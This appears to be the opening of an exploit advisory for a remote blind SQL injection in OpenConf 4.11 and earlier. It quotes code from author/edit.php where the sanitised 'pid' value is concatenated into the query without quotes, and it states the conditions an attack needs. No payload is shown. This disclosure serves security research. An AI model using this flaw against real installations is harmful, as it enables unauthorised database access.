  OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
  ---------------------------------------------------------------------
  
  author...............: Egidio Romano aka EgiX

  [-] Vulnerable code in /author/edit.php:
  
  104.		// get sub
  105.		$anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
  106.		if (mysql_num_rows($anr) != 1) {
  107.			err(oc_('Submission ID or password entered is incorrect'));
  108.		}
  109.		$_POST = array_merge($_POST, mysql_fetch_assoc($anr));
  
  User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
  at line 105,  single quotes aren't  used before  concatenate the user input  into the query string.  This can be
  exploited to conduct a  Blind SQL Injection  attack.  Successful exploitation of  this vulnerability requires at
  least a record into the 'paper' table, and 'Edit Submission' to be enabled.
